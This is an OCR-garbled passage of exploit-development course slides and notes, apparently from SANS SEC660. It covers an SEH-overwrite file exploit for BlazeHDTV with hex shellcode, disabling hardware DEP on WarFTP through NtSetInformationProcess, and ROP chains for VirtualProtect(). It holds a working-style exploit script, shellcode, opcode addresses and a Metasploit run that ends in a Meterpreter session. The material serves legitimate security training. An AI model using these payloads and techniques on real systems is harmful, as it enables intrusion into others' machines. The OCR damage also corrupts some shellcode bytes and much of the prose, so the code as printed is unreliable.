- IShellcode t1uncated due to space_ 
"\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54" 
"\x24\x20\x57\xFF\xDO") 

• Let's modify our script to include the jump and our shellcode 

Fixing Our Script 



120 

x = open(file, 'w') 
payload = "A" * 608 + jmp + seh + "\x90" * 20 + sc 
x. wri te (payload) 
print "File %s" %file, "created!" 
x. close () 

seh = struct.pack('<L', Ox603236c6) 
jmp = "\xeb\x06" + "A" * 2 

"\x8B\xOC\x4E\x8B\x72\xlC\x03\xF3\x8B\x14" 
"\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE" 
"\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53" 
"\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24" 
"\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51" 
"\xFF\xDO\x68\x65\x73\x73\x01\x8B\xDF\xFE" 
"\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45" 
"\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54" 
"\x24\x20\x57\xFF\xDO") 
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Running the Final Script 

Start up thc BlazeHDTV program and attach again with thc dcbuggcr, cnsuring it is up and running. lf 
dcsircd, fcel frcc to sct a brcakpoint on the addrcss of thc pop/pop/rct scqucncc you are using so that 
you may singlc-stcp through thc instructions. Open up thc malicious "blazc _2.plf" filc. lf you sct a 
breakpoint, usc F7 to singlc-step through thcm. As shown on thc slidc, you can sec how exccution 
succcssfully jumps six-bytcs down to our NOP instructions! 

After the 
jwnp!!!! 

lk l 1..: tnc 
jump .•. 

Running the Final Script 
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Verifying Shellcode Execution! 

Closc the dcbuggcr and start up ßlazcHDTV from your Desktop. Open up thc malicious "blazc_2.plf'' 
filc and you should gct the rcsults shown on thc scrcen. A command shcll should appcar, and cvcn two 
may appcar duc to thc bchavior of thc cxccption handling proccss. You have now complctcd thc SEI 1 
Ovcrwritc cxcrcisc! 
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• Close Immunity Debugger and start up BlazeHDTV 
from your Desktop 

• Open the malicious "blaze_2.plf" file and you 
should get the following result! 

Verifying Shellcode Execution ! 
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Exercise: SEH Overwrites - The Point 
Thc purposc of this cxcrcisc was 10 utilizc thc SEii ovcrwrite tcchniquc applicablc to many Windows 
vulncrabilitics. 

• Perform a Structured Exception Handler 
( SEH) overwrite to get shel lcode execution 

• Use the pop/pop/ret trick 
• Defeat the SafeSEH protection 
• Get around ASLR 

Exercise: SEH Overwrites 
The Point 
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Defeating Hardware DEP with ROP 
In this modulc wc will covcr using rctum oricntcd programming (ROP) to disable Hardware DEP. 
This applie to all vcrsions of Windows through Windows 8 and Server 2012. 

SANS SEC660. 5 

Defeating Hardware DEP 
with ROP 
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Objectives 
The objcctivcs for this modulc covcr various mcthods to disablc data cxccution prevcntion (DEP) 
and bypass addrcss space layout randornization (ASLR) on modern Windows OSs. Wc will takc a 
closcr look at rctum oricnted programming (ROP) and cxploitation, as weil as ROP protcction 
addcd to Windows 8. 

• Our objective for this module is to 
u ndersta nd: 
- Defeating Hardware DEP 

• NtSetlnformationProcess() 
• Using ROP to disable DEP using VirtualProtect() 

- Windows 7 Security Controls 
-Windows 8 ROP Protection 

Objectives 
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Hardware DEP is a much different story. With hardwarc DEP, pagcs of mcmory arc markcd as 
either exccutablc or writablc during allocation. They arc not supposcd to bc markcd as writablc 
and executable while DEP is cnablcd. Since the control is at a much lowcr lcvcl, defeating this 
control can be much morc complcx. Many systcms on older proccssors do not have support for 
hardwarc DEP, and as such, thcy arc not capablc of providing this protection. As for newer 
proccssors, thcy arc ablc to mark thc pages as with thc flag whcn appropriate, disabling thc ability 
for attackers to take advantagc of traditional retum-to-buffcr style attacks. Our focus for this 
section will be on how to succcssfully defeat this protection. 

Data Exccution Prevention (DEP) 
Let's quickly discuss Data Exccution Prcvention (DEP) again from a Windows perspcctivc. We 
successfully got around softwarc DEP earlier. Remember that all sofrwarc-bascd DEP provides is 
somc support in protecting the Structurcd Exccption Handling (SEH) chain. With SafeSEH, 
exccption handlcr addresses must bc on the rcgistcrcd 1 ist of handlers identiticd du ring compilc 
time. lf a protcctcd modulc's handler has becn ovcrwrittcn with an addrcss that is not on the 
registcrcd list of handlcrs, thc program will terminale. Wc wcrc ablc to dcfcat this by idcntifying a 
library that was not protcctcd with SafcSEH during compilc time. 

• Software DEP vs. Hardware DEP 
- We already bypassed software DEP by using a 

non-SafeSEH protected module 
• Software DEP only protects registered handlers 
• Unrelated to the NX/XD bit 

- Hardware DEP 
• Must be supported by the processor 
• Marks pages of memory as writable or executable 
• More difficult to defeat than Software DEP 

Data Execution Prevention (DEP) 
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Thc other main option that Microsoft providcs is to "Turn on DEP for all programs and services 
cxcept thosc 1 sclect". With this option a user with Administrator rights can select the programs 
that do not support hardwarc-bascd DEP and add them to the list of cxccptions. This is, of course, 
a much morc securc option; howcver, this option may brcak many programs. Regardlcss, our 
attack will focus on thc situations whcrc hardware DEP is enablcd. Starting with Windows Vista 
SPI and 2008 Server, DEP is sct to the morc sccure option by dcfault; although, many companies 
simply push out a group policy object to switch it back to thc less seeure option. 
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Defeating Hardware DEP (1) 
lt is not uncommon for organizations toset DEP to the lcss-sccurc Option. This option being, 
"Turn on DEP for essential Windows programs and scrviccs only." With this option set, only 
programs that Microsoft hasset as "DEP-aware" arc utilizing this sccurity fcarurc. All other 
programs do not takc advantage of DEP protcction. The rcasoning behind this is simple: Microsoft 
necds to support backwards compatibility. lf they were to simply cnforce all programs to use 
hardwarc-bascd DEP, many prograrns would brcak. Sadly, therc are still programs out therc 
rclying on exccutable code residing on the stack or hcap. 

• Most companies leave the default DEP setting on 
Windows: 
- "Turn on DEP for essential Windows programs and 

services only" 
• This means that third-party programs will not take advantage of 

hardware DEP 
• With tms option you may not need to concern yourselves with 

more advanced techniques 

- "Turn on DEP for all programs and services except those 
I select" 

• This is the more secure option 
• Not the default on most OSs as it may break functionahty 

Defeating Hardware DEP (1) 
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Thc option wc will bc focusing on is thc disabling of DEP for the proccss wc'rc attacking, or a 
specified rcgion of memory. These methods, when successful, arc much cleaner and more stable 
than attcmpting a rct2libc style attack in most sccnarios. These techniques rcly on executable 
memory scgmcnts. Whcther or not a scrics of bytes was an intcndcd opcodc, we can use thcm to 
achicvc our dcsircd rcsults. 
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Oefcating Hardware OEP (2) 
Thcrc arc a fcw tcchniqucs that havc becn madc publicly availablc which succcssfully defcat 
hardwarc-bascd DEP. Somc of thcm rcly on prcviously discusscd tcchniques such as rctum-to- 
libc. lf wc cannot copy shcllcodc and cxccutc it within a controlled area of mcmory, wc may bc 
able to call a library function and pass it thc ncccssary arguments that providc us with our desircd 
rcsults. As with any tcchnique, ret21ibc auacks have their fair sharc of limitations, such as the 
ASLR and the fact that you arc limited to using only functionality availablc in system librarics. 

• Several techniques discovered to defeat hardware 
DEP 
- return-to-libc (ret21ibc) 
- Disabling DEP with trampolines (simple gadgets) 
- Return Oriented Programming (ROP) 
- Majority of techniques rely heavily on analyzing OLL 

contents 
• Searching for opcodes 
• Desired opcodes will not always be ones the program you're 

analyzing is using 
• You can set up a fake frame to include multiple pointers, jumping 

to multiple gadgets 

Defeating Hardware DEP (2) 
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1 
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What's Our Next Step? 
At this point wc arc assuming that our previous attack mcthod has failed duc to hardwarc DEP. 
Wc must comc up with a different way to succcssfully cxccutc our codc. Wc will focus on a 
mcthod rcleascd in a papcr by Skapc and Skywing which can bc found at 
http://www.uninformcd.org/?v-2&a---4&t-txt. The method involvcs using cxisting code inside of 
DLLs which arc alrcady mapped into the proccsscs addrcss space with thc goal of disabling DEP. 
By creating a framc on thc stack, similar to rcturn-to-libc mcthods, wc can forcc cxccution to 
jump to various addrcsses containing thc cxccutablc codc nccdcd to disable thc protcction. This 
tcchniquc is quitc portable to many vulnerable programs. Thcrc arc also othcr possibilitics whcn 
attcmpting to disablc or bypass hardwarc-bascd DEP. Othcr techniqucs publicly rclcascd involvc 
the crcation of cxecutablc hcaps or othcr segmcnts to where we can copy our shcllcodc and 
rcdirect cxccution. Wc will discuss using ROP for this goal shortly. You still may havc to dcal 
with stack canarics in somc programs, but in many cascs, not cvcry function is protcctcd cvcn in a 
program compilcd with the /GS flag. 

• Hardware DEP is preventing our old attack 
from being successful 

• We'll first look a technique released by Skape 
and Skywing 
- The goal is to disable DEP for the program we're 

attacking 
- This technique works with many programs 

running on Windows Vista, Server 2008, and 
earlier 

What's Our Next Step? 



130 

#dcfinc MEM_EXECUTE_OPTJON_PERMANENT Ox08 f- Pcrmancntly marks setting for 
futurc calls 

#dcfine MEM_EXECUTE_OPTION_DISABLE OxOI f- Turns on DEP 
#dcfine MEM EXECUTE OPTION ENABLE Ox02 f- Turns off DEP - - - 
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DEP at Execution Time 
As indicatcd by Skapc and Skywing, a ncw function was addcd into ntdll.dll callcd 
LdrpChcckNXCompatibility(). Thc function makcs scvcral checks to sec whcthcr or not thc 
process is to have DEP cnabled. Thc cnabling or disabling occurs within a ncw 
ProcesslnformationClass callcd ProcessExecuteFlags. For more on "Proccss Information 
Classcs," check out http://msdn.microsofi.com/cn-us/library/ms684280(YS.85).aspx. A valuc is 
passcd to thc routinc with onc of thc following valucs: 

• Skape and Skywing indicated a new routine within 
ntdll.dll 
- LdrpCheckNXCompatibility() 
- Checks to see if DEP is to be enabled 

• DEP is set within a new ProcessinformationClass 
called: 
- ProcessExecuteFlags 
- Sets flag to one of the following: 

• MEM EXECUTE_OPTION_DISABLE OxOl 
• MEM_EXECUTE_OPTION_ENABLE Ox02 
• MEM_EXECUTE_OPTION_PERMANENT Ox08 

DEP at Execution Time 
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In Theory ... 
Onc way to dcfcat hardwarc cnforccd DEP would bc io sei thc 
MEM_EXECUTE_OPTION_ENABLE flag within the Process Information Ctass 
"ProccssExecuteFlags." In thcory, this would disablc DEP for the process. In order to achieve 
this, onc would need to find thc corrcct scqucncc of instructions within an executable area of 
memory. lt so happens that the instructions cxist within ntdll.dll. 

• In theory an attacker could potentially: 
- Set the MEM_EXECUTE_OPTION_ENABLE Ox02 

bit within the ProcessExecuteFlags dass 
- This could be possible with the right set of 

instructions within an executable area of memory 

• lt so happens that the instructions exist 
within ntdll.dll 

In Theory ... 
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lnstructions We Need 
Thc first thing wc nccd to do is locate an arca of cxccutablc mcmory that will sct thc al rcgistcr to 
OxO 1, followcd by a rctum. Thc return nceds to go to an addrcss on thc stack that wc sct up to 
jump back into ntdll.dll. Thc location within ntdll.dll in this cxamplc rnust bc within thc 
LdrpChcckNXCompatibility routinc which starts the process of disabling DEP. Oncc DEP is 
disabled, thc rctum must jump to a "jrnp csp" or simi lar required instruction, taking us to our 
shcllcode. Wc will havc had toset up the framc on thc stack to hold things in a very spccific 
ordcr. 

• We need to: 
- Jump to an area of executable code and set the 

al register to Ox01, followed by a return 
- Setup the stack so the return jumps to code 

within ntdll.dll which starts the process of 
disabling DEP by calling 
ZwSetlnformationProcess() 

- Return to a "jmp esp" or similar required 
instruction to gain shellcode execution 

Instructions We Need 
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Demonstration: Defeating Hardware DEP Prior to Windows 7 
For this dcmonstration, wc will usc an old vulnerable FTP scrvcr called "WarFTP." Thc rcason 
for selccting this application is that it is casily cxploitable and allows for the tcchniquc to be 
demonstratcd with stability. Thc WarFTP program is in your 660.5 folder in case you want to try 
this on your own time. Thc program will not run on Windows 7 or 8. 

• The goal is to disable hardware DEP! 
- This technique to disable DEP works until Win7 

• This method can be used on many programs with 
discovered vulnerabilities 

• The idea is to demonstrate the discovery and use of 
opcodes in memory located in any executable 
segment to achieve a goal 

• Remember that every vulnerability and exploit are 
likely to be different 

Demonstration: Defeating Hardware 
DEP Prior to Windows 7 
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Demonstration: Disabling DEP 
In ordcr to run this cxamplc you will nccd 10 bc running either Windows XP SP2 or SP3. This 
tcchniquc works on Windows Vista as weil, but dcpcnding on thc program you'rc analyzing, you 
may necd to dcal with ASLR. Windows 7 and bcyond docs not allow this technique to work. Wc 
will gct to defcating that soon. Oncc you cnable DEP for all programs you will nccd to rcboot 
your systcrn. Wc'll covcr thc mcthod to do this coming up. Rcmernbcr that any loaded modulc 
may hold a paucrn wc'rc looking to find. 

• We will use Windows XP SP3 
• You will need to reboot your system or VM after 

changing the DEP option 
- Depending on what your default is already set to ... 
- We want it set to enable DEP for all programs 

• Persistence is key when manually analyzing hex 
patterns in memory 
- Any loaded OLL or executable module may contain our 

desired opcodes 
- There are tools to help us search for them 

Demonstration: Disabling DEP 
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\Vc want this 
option 

Enabling DEP on XP 

Lct's first cnable DEP for all programs, cxcept thosc wc choosc to cxcludc. As shown on thc 
slidc, go into your control pancl, by clicking on "Start," selecting "Settings," and sclccting 
"Control Panel." Once you pull up your control pancl, select "System," followed by "Advanccd." 
From the advanccd tab, selcct "Performance," followcd by "Settings." Thcre should be a tab for 
"Data Exccution Prcvcntion." Sclcct that tab and choose thc radio button that says, "Turn on DEP 
for all programs and scrviccs cxccpt thosc l select." Click "OK" and closc out thc popup mcnus. 
At this point you will bc rcquircd to rcboot thc OS. Do so, and proceed to thc ncxt slide. 
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• Control Panel 
1. System 
2. Advanced 
3. Performance 

a. Settings 

4. Data Execution 
Prevention 

• Reboot 

Enabling DEP on XP 
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As you can sec, it was unsuccessful. On thc targct systcm, wc got thc DEP pop-up waming and 
the program was tcrminatcd. 

[*) Started bind handler 
[*] Trying target Windows XP SP3 English ... 
msf exploit(warftpd_165_user) > 

msf exploit(warftpd_165_user) > exploit 

Trying the Metasploit Module for WarFTP 
Now that DEP is cnablcd for WarFTP, let's try to cxploit it with thc dcfault Mctasploit modulc. 

,_ WarflPDamwllorwwtow.'15/llr 

ra f'IU:hot Jsto - 

• Nope! 

(~] Started bind handler 
(•] Trying target Windows XP SP3 English ... 
msf exploit(warftpd 165 user) > 

mst ·xp~oic(warftpd 165 user) > exploit 
• With DEP enabled, let's run the Metasploit module: 

Trying the Metasploit Module for 
WarFTP 
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DEP is stopping our attack from bcing successful, as shown in thc prcvious slidc. 

The Vulnerability 
Wc will not covcr thc spccifics of this vulncrability, but from a high lcvcl: 

• Thc FTP USER command is vulnerable to a stack ovcrflow 
• Al 485-bytcs, you get control of thc rctum pointer 
• Thc Stack pointer is pointing dircctly bclow the rcturn pointcr at thc time ofthc crash duc to 

normal proccdurc epilogue bchavior 
• 1 f you ovcrwritc thc rcturn pointcr with the addrcss of a "jrnp csp" instruction, and placc your 

shellcodc aftcr the rcrurn pointcr ovcrwritc, shcllcodc cxecution is achicvcd 

• We will not cover the specifics of this vulnerability, 
but from a high level: 
- The FTP USER command is vulnerable to a stack 

overflow 
- At 485-bytes, you get control of the return pointer 
- The stack pointer is pointing directly below the return 

pointer at the time of the crash due to normal procedure 
epilogue behavior 

- If you overwrite the return pointer with the address of a 
"jmp esp" instruction, and place your shellcode after the 
return pointer overwrite, shellcode execution is achieved 

The Vulnerability 
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Wc nccd to sct thc al rcgister to Ox 1 to satisfy a rcquircmcnt that you will sec shortly. lfthc valuc 
is not equal to Ox 1, thc disabling of DEP will fail. Wc arc scarching for a "rct 4'' instcad of a "ret" 
as thcrc wcrc no occurrcnccs of that scqucnce. i.c. "rnov al, Ox I" followed by a "ret" yieldcd no 
results, but "rnov al, Ox l " followcd by a "rct 4" had a rcsult. 

Click anywhcrc within thc disasscmbly panc for thc modulc ntdll.dll and press "ctrl-s." At this 
point you should gct a frce-form text box, allowing you to enter in a scqucncc of instructions for 
which you arc looking. Entcr in thc two instructions from abovc and click "Find." Rccord this 
mcmory addrcss as wc will nccd it to build thc cxploit. 

mov al,Oxl 

rct Ox4 

Scarching for Opcodes (1) 
Wc nccd to locatc thc instructions: 

• Ox7C953C80 ~ This may differ on your system ! 

Hrt: 'RA' Md 'RB' l'Mlth R32. 'NN n' matche: Cl. n ~ 

w frm l:ilod: l FRJ 1 CMo,.t 1 

al (M ... 
Find 1e41„nce of commands fEJ 

• From inside Immunity Debugger, we press ctrl+s to 
search for instructions 

Searching for Opcodes (1) 
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The instructions are showing at addrcss "Ox7C9 l BE24." Record the address for latcr. 

#This is why we needed al set to 1 
#This is the ProcessExecutesFlag 
#Pops flag into ESI 

cmp al, 1 
push 2 
pop esi 

Searching for Opcodes (2) 
Let's now determine the addrcss we need within ntdll.dll that will disable DEP for the process. 
Thc disabling of DEP occurs within the LdrpChcckNXCompatibility routinc as indicatcd by 
Skapc and Skywing. To find thc location inside of ntdll.dll on your system, press CTRL-S and 
cntcr: 

iThis is why we needed al set to 1 
iThis is the ProcessExecutesFlag 
iPops flag into ES! 

.... ,,, al, 1 
push 2 
pop esi 

• We must jump into the LdrpCheckNXCompatibility 
routine within ntdll.dll that disables DEP 

• Go to ntdll.dll inside of Immunity and press ctrl+s, 
entering: ~~~~~~~~~~~~~~~~~~--- 

Searching for Opcodes (2) 
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Following Execution (1) 
To show you thc flow of cxccution, a brcakpoint was sct on thc instruction whcrc "AL" is bcing 
comparcd to "I." As this is true, the zcro flag is sct to 1, which is shown on thc slidc. This will 
result taking thcjump "JE ntdll.7C9413FO." Remember, conditionaljumps check thc state of 
various flags in thc FLAGS registcr. 

~}LJ30000001J l2 1, 

• Since EAX is holding "1" the CMP against 1 resulted 
in the Zero flag being set, as shown above 

• We will now take the jump in the instruction "Jump 
if Equal (JE)" 

• A breakpoint has been set to follow the flow of 
execution: 

Following Execution (1) 
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You can sec thc arguments to ZwSetlnformationProccss() bcing pushcd onto thc stack prior to thc 
call ! After a fcw more instructions, thcrc is a SYSENTER instruction that takcs us into Kernel 
mode. We lose visibility at this point as lmmunity Debugger is a Ring 3 debugger only. Upon 
SYSEXIT back into Ring 3, DEP is disabled. 

PUSH 4 
LEA EAX, DWORD PTR SS: [EBP-4) 
PUSH EAX 
PUSH 22 
PUSH -1 
CALL ntdll.ZwSetinformationProcess 

Following Execution (2) 
After a single-stcpping through a few morc instructions that movc somc data around on thc stack, 
wc get to thc following block of codc: 

8045 FC LEA EAX.DMORD PTR SS:CEBP-41 50 PUSH EAX 6A 22 PUSH 22 6A FF PUSH -1 
E8 E675FOFF CA 

• You can see the arguments to ZwSetlnformationProcess() 
being pushed onto the stack prior to the call 

• Shortly after, execution crosses into Ring O and we lose 
visibility as Immunity Debugger is a Ring 3 debugger only 

• Upon return from Ring 0, DEP is disabled 

• After a single-stepping through a few more instructions that 
move some data around on the stack, we get to the 
following: 

Following Execution (2) 
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Building the Exploit ( l) 
Wc know how to disablc DEP and havc thc addrcsses we nced to dcfcat hardwarc DEP using this 
tcchniquc. Therc are still somc rcmaining picccs in ordcr for us to gct this thing to work. 

• At this point we have the addresses we need to 
disable DEP 

• This program requires a simple "jmp esp" 
instruction to get to the shellcode 

• We just need to script it up and make sure we hit 
our shellcode 

• Each program may have other requirements that 
have to be met 

Building the Exploit (1) 
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) 

Building the Exploit (2) 
On this slide is part of thc script written in Python. lt docs not includc thc shcllcodc and othcr rcquircd lincs 
of codc, only the lincs relevant for thc purposc of the slidc. This slide is being uscd only to point out why 
wc arc adding 88-bytcs of padding aftcr thc addrcsscs wc found to disablc DEP. Oncc we rctum from Ring 
0, the distancc bctween ESP and EBP is 80-bytcs. Thcrc arc also somc pop instructions and such to 
compensatc for in ordcr to havc thc alignmcnt sct up propcrly. Each prograrn may havc different alignmcnt 
issucs for which you havc to compcnsatc. 

OII' • 

Reason for 
·•so:ie: r · 11 t padding 

usage (): 
( 

8CQV 

• Here is a partial Python script to 
disable DEP and compensate for 
alignment 

Building the Exploit (2) 
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Building the Exploit (3) 
Wc simply went back into thc Mctasploit module for thc WarFTP uscmamc ovcrflow and addcd in thc 
addrcsscs to disable DEP and thc appropriate padding. Once complctcd and thc modulc rcloaded into 
Metasploit, succcss was achievcd. 

eter:Rreter > 

~ exp oit war user 
Reloading module ... 

~ exploit(warftpd_l6S_user) > exploit 
J Started bind handler 

Trying target Windows XP SPJ English ... 
J Sending stage (751104 bytes) to 10.10.31.31 
1 "eterpreter session 1 opened (10.19.54.32:48465 ·> 19.19.31.31:4444) 

• After updating the Metasploit script with the 
addresses to disable DEP and appropriate 
padding, we have success! 

Building the Exploit (3) 
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There are multiple ways to disable DEP on a running proccss. Wc just covcrcd a tcchniquc using 
NtSctlnformationProccss() to disablc DEP on the wholc proccss. Thal tcchniquc had us chain 
togcthcr multiple trampolincs to achicvc our dcsired result. This tcchniquc is not possiblc on 
Windows 7 as support for certain functions was discontinued. Fortunately, there are multiple other 
ways, most possiblc with the usc of ROP. 

Return Oriented Programming to Bypass DEP 
In 660.4, wc introduccd ROP and got into how gadgcts work and arc chaincd together to creatc a 
potcntially turing-complctc execution path. Now, wc will look at how to usc ROP to disablc data 
cxccution prevcntion (DEP), passing control to our shcllcodc. This is considcrcd a rnulti-stagcd 
ROP attack as wc arc only using ROP to disable DEP, and thcn handing control ovcr to traditional 
shcllcodc. 

• In 660.4 we discussed ROP 
• Now we will look at using multi-staged ROP 

to disable DEP, passing control to our 
shellcode 

• There are multiple ways to disable DEP an a 
running process 
- We just covered one by Skape and Skywing 
- Let's use ROP to achieve the same goal 

Return Oriented Programming to 
Bypass DEP 



146 

Thc ordcr of thc above functions was takcn from http://www.corelan.be: 

https://www .corelan.be/indcx.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dcp-with- 
rop-thc-rubikstm-cube 

VirtualAllocO - We can crcatc a ncw mcrnory rcgion, copy our shellcode to this region, and 
cxccutc thc codc by redirecting control. 

HeapCreate() - This function works csscntially thc same as abovc, but requircs rnore API 
chaining to achicvc thc same rcsult. 

SetProcessOEPPolicyO- This function changes the DEP policy for whole proccss. 

NtSetlnformationProcessO - Changes the DEP policy for proccss similar to thc 
SctProcessDEPPolicy(). 

VirtualProtectO - Changcs thc access protcction ofthc mcrnory pagc whcrc you shcllcodc 
rcsides; c.g. Thc Stack 

WriteProcessMemoryO - Writes shcllcodc to a writablc and cxccutablc location and cxccutcs 
thc code after passing control. 

Funcrions that can Disable OEP 

Thc following functions can be used to disablc Data Exccution Prcvcntion (DEP): 

\d\ J11u·d l'l·tw11alh111 · 1 l·'1111g. 1 'plc 111 \\ rtl 111g •. md 1 .1 l11l al 1 f :ll J..111µ 

• Functions to disable Data Execution Prevention (DEP) 
• VirtualAlloc() - Create new memory region, copy shellcode and 

execute 
• HeapCreate() - Same as above, but requires more API chaining 
• SetProcessDEPPolicy() - Changes the DEP policy for whole 

process 
• NtSetlnformationProcess() - Changes the DEP policy for 

process 
• VirtualProtect() - Change access protection of the memory 

page where you shellcode resides 
• WriteProcessMemory() - Writes shellcode to a writable and 

executable location and execute 
* Order of funcnons above taken from http://corelan.be #See Notes# 

Functions that can Disable DEP 
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Wait! Won't Canaries Stop ROP? 
A qucstion commonly askcd is whethcr or not Stack canarics or sccurity cookics puts a stop to 
ROP attacks. On the stack, for ROP to bc succcssful, wc must bc ablc to ovcrwritc the return 
pointcr or SEH chain. If a canary has becn crcatcd on the vulnerable function, combined with thc 
SafcSEH protcction, this should bc cnough to stop ROP from working. Many of thc modern 
attacks wc see today takc advantagc of ovcrwriting an application function pointer, oftcn storcd on 
thc hcap. Often, thc canary protccting thc ovcrwritten data is not checked during thc cxploit. A 
stack pivot, discusscd ycstcrday, can bc uscd to rcdircct thc addrcss hcld in ESP lO the location on 
thc hcap whcrc our ROP codc or shcllcodc rcsidcs. 

• Easy Answer: Yes, canaries/security cookies can 
certainly stop ROP attacks 
- In order to use ROP against stack overflows we must 

overwrite the return pointer 
- The canary check should catch us ... 

• Better Answer: lt depends ... 
- Heap allocations including canaries / security cookies 

may not be checked during exploitation 
- If a canary overwrite causes an exception, we could 

potentially overwrite the SE Handler to get control 
- Some stack frames may be unprotected 

Wait! Won't Canaries Stop ROP? 
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# Memory protcction option. E.g. Ox40 for read/writc/cxccutc or 

# Thc sizc, in bytcs of thc mcmory location to bc affcctcd by thc 

# Thc addrcss pointcr to thc location whcrc the protcction is to bc 

); 

BOOL WINAPI VirtualProtcct( 

_in LPVOID lpAddrcss, 
disablcd. 

_in SIZE_T dwSizc, 
pcrmissions change. 

_in DWORD flNcwProtcct, 
Ox20 for rcacl/cxecute. 

_out PD WORD lpflOldProtcct # Thc mcmory addrcss of a location to writc the prior pennissions 
for thc ncwly modified memory. 

Thc function looks likc: 

Virtua!Protcct() - "Changcs thc protcction on a rcgion of committcd pagcs in thc virtual address spacc 
ofthc calling proccss." 

http://msdn.microsoft.com/cn-us/library/aa366898%28v=vs.85%29.aspx 

VirtualProtcct() Method 
Thc tcchniquc wc will discuss now uscs thc YirtualProtcct() function to disablc DEP on a dcsircd 
range of memory. lt docs not affcct thc wholc proccss. Our goal will bc to mark the area of mcmory 
which contains our shellcodc as cxccutablc. Thc following is Microsoft's dcfinition of thc 
YirtualProtcct() function: 

• Per Microsoft, the VirtualProtect() function expects: 
BOOL WINAPI VirtualProtect( 
_in LPVOID lpAddress, 
_in SIZE_T dwS1ze, 
_in DWORD flNewProtect, 
_out PDWORD lpflOldProtect 

); 

• ROP requires familiarity with the desired function 
and practice fixing broken chains 

• ROP can be used to set up the arguments to 
VirtualProtect() on the stack or in registers 

VirtualProtect() Method 
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ROP rcquircs a strong lcvcl of knowlcdgc of thc function or functions you dcsirc to call or cmulatc. 
This rcquircs that you arc familiar with writing asscmbly codc to achicvc a dcsircd rcsult. lt is vcry 
similar to thc lcvcl of knowlcdgc ncccssary to writc shcllcodc. For our tcchniquc, wc will nccd to usc 
ROP to makc thc appropriatc argumcnt writcs on thc stack prior to passing control to VirtualProtcct(). 
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mov edi, esp 
retn 

The instructions on thc slidc arc simply copying thc address held in ESP ovcr to EDI, and then 
rctuming to the next gadgct. 

VirtualProtect() ROP Example (1) 
Wc will walk through an cxamplc of using Return Oricntcd Programming (ROP) to writc thc 
appropriatc argumcnts to VirtualProtcct() onto thc stack. Wc must havc thc addrcss of thc 
VirtualProtcct() function to writc onto thc stack during our attack. ff ASLR is running, wc would 
prcfcrably locatc a static location, such as thc JA T from thc cxccutablc prograrn, and grab thc 
addrcss of a pointcr to VirtualProtcct() that will be linked at runtimc. As you can see in the imagc, 
wc have overrun thc buffcr, ovcrwriting thc rctum pointcr position with our first gadgct. This 
gadgct would contain the instructions to prcscrvc thc stack pointcr at this morncnt in time. Wc will 
usc this addrcss to rcrnain position indepcndcnt, writing into thc appropriatc positions for thc 
argumcnts to VirtualProtcct() by offsetting from this address. c.g. "Prcscrvcd ESP addrcss +8, 
+ 12, + 16, +20, etc ... " Wc would thcn rctum to the ncxt gadgct on the stack, shown in the next 
slide. You must also supply a rctum pointcr to thc VirtualProtect() call for when it rctums. A 
simple pointcr to a RETN instruction is oftcn usc to advancc ESP down thc stack. This will 
bccomc morc clcar shortly. 

In this technique, thc first 
gadget is u: cd to prcserv c 
the stack pointcr's 
addrc :. at this momcnt in 
time. Thi i required to 
rcmain position 
Independent so tluu \W 

can w rite to thc 
appropriate locations of 
thc Virtunll'rotccu) 
arguments on thc stack 
h) offseuing Irom the 
prc:>cr. cd hS P \'a 1 uc. 

41414141 
41414141 ~~~~ ~~~~--~ 

Preserve ESP Gudget 
Adjust ESP Gadget 

*VirtualProtect() 
RP to Virtualf'rotectt) 

arg: lp/vddrcss 
arg: dwSize 

arg: flNewProtect 
arg: lpflOldProtcct 
Gadget to load arg 

VirtualProtect() ROP Example (1) 
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add esp, Ox18 
retn 

VirtualProtect() ROP Example (2) 
With thc stack pointer address preservcd, we now want to cxecutc a code scquence to ad just thc 
stack pointcr past thc placcholdcr argumcnts to VirtualProtcct(). We can do this by having our 
sccond gadgct contain instructions that simply adds the appropriatc numbcr of bytcs to thc stack 
pointer, and thcn rcturning to thc ncxt gadgct down past thc argumcnts wc arc jumping over. In 
thc cxample on thc slidc, wc arc adding 24-bytcs (Ox 18) to thc stack pointcr to adjust it past thc 
argumcnts, and then returning to thc next gadgct. 

e.g. idd esp, OxlB 
etn 

l!SP adv ances to the next 
gadget's position. Iltis 
next gadget is used to 
adjust ESP to go dow n 
past our argument 
placeholdcrs to 
VirtualProtcd( ). 

41414141 
41414141 

Preserve ESP Gadget 
Adjust ESP Gadget 

*VirtualProtect() 
RP to YirtualProtcct() 

arg: lp.vddress 
arg: d\\ Size 

arg: tlNcwProtcct 
arg: lpllOidProtect 
Gadget to load arg 

VirtualProtect() ROP Example (2) 
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mov eax, edi 
add eax, 100 
retn 

e.g. ov cax , cdi 
dd eax , 100 
retn 

arg: flNcwProtcct 
arg: lpflOldProtect 

VirtualProtect() ROP Example (3) 
Now that wc havc jumpcd ovcr thc argurncnts to YirtualProtcct(), we want to bcgin the process of 
writing the appropriatc arguments to thcir rcspcctivc positions on the stack. Before writing, wc 
must populatc a rcgistcr with the actual argumcnt to writc. The first argumcnt to YirtualProtcct() 
needs to bc the address of whcrc wc want to changc pcrmissions. This would bc thc addrcss of our 
shcllcodc. Thc question is, "How do wc know wherc our shcllcodc is with ASLR and such?" The 
answcr gocs back to the preservcd stack pointcr value from thc first gadgct. Since wc recorded the 
address at the momcnt in time whcrc wc got control of thc instruction pointcr, wc can calculatc thc 
distancc bctween thc prcscrvcd stack pointer addrcss and our shcllcodc, allowing us to rcmain 
position indcpcndent! To calculatc thc offset wc simply must count all of thc bytcs takcn up by 
our gadgcts, VirtualProtect() argumcnts, etc ... In thc examplc on thc slidc, wc arc copying thc 
prcscrvcd stack pointcr address into EAX and thcn adding Ox 100 bytcs, followcd by a return to 
thc next gadget. Thc Ox 100 would necd to bc thc offsct to the shellcode location. 

l·SP advances to thc next gadgct's 
position, past thc argumcnts to 
Virtuall'rotecu 1. 1 his next gadget 
is uscd to lond thc addrcss of'the 
shcllcodc into EAX as thc start 
location '' hcrc thc pennis ions 
should be ehanged, This is 
calculatcd by measuring thc 
distance between the preserved 
l·SP addrcss and thc hcllcodc, 

41414141 
41414141 

Preserve C~P Gadget 
Adjust E~P Gadget 

*VirtualProtect() 
RP to VirtualProtcct() 

